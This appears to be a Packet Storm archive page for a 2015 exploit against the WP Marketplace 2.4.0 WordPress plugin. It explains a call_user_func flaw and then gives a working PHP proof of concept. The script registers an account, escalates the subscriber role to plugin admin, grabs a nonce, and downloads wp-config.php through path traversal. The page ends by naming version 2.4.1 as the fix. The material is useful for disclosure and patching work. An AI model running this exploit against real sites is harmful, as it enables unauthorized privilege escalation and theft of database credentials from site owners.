what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Marketplace 2.4.0 Arbitrary File Download

WordPress Marketplace 2.4.0 Arbitrary File Download
Posted Mar 25, 2015
Authored by Kacper Szurek

WordPress Marketplace version 2.4.0 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
advisories | CVE-2014-9013, CVE-2014-9014
SHA-256 | ff5c9bca6be4f917e44ba3f43280d1887e3442049bcb78dc75cd7e35100af664

WordPress Marketplace 2.4.0 Arbitrary File Download

Change Mirror Download
# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download
# Date: 26-10-2014
# Software Link: https://wordpress.org/plugins/wpmarketplace/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9013 and CVE-2014-9014

1. Description

Anyone can run user defined function because of call_user_func.

File: wpmarketplace\libs\cart.php

function ajaxinit(){
if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
if(function_exists($_POST['execute']))
call_user_func($_POST['execute'],$_POST);
else
echo __("function not defined!","wpmarketplace");
die();
}
}

http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html

2. Proof of Concept

$file = '../../../wp-config.php';
$url = 'http://wordpress-url/';
$user = 'userlogin';
$email = 'useremail@email.email';
$pass = 'password';
$cookie = "/cookie.txt";

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

// Register
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'register_form' => 'register',
'reg[user_login]' => $user,
'reg[user_email]' => $email,
'reg[user_pass]' => $pass
));
$content = curl_exec($ch);
if (!preg_match("/success/i", $content)) {
die("Cannot register");
}
// Log in
curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'log' => $user,
'pwd' => $pass,
'wp-submit' => 'Log%20In'
));
$content = curl_exec($ch);
if (!preg_match('/adminmenu/i', $content)) {
die("Cannot login");
}
// Add subscriber as plugin admin
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'action' => 'wpmp_pp_ajax_call',
'execute' => 'wpmp_save_settings',
'_wpmp_settings[user_role][]' => 'subscriber'
));
$content = curl_exec($ch);
if (!preg_match('/Settings Saved Successfully/i', $content)) {
die("Cannot set role");
}
// Request noonce
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'action' => 'wpmp_pp_ajax_call',
'execute' => 'wpmp_front_add_product'
));
$content = curl_exec($ch);
preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce);
if (strlen($nonce[1]) < 2) {
die("Cannot get nonce");
}
// Set file to download
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'__product_wpmp' => $nonce[1],
'post_type' => 'wpmarketplace',
'id' => '123456',
'wpmp_list[base_price]' => '0',
'wpmp_list[file][]' => $file
));
$content = curl_exec($ch);
header("Location: ".$url."?wpmpfile=123456");

3. Solution:

Update to version 2.4.1

https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close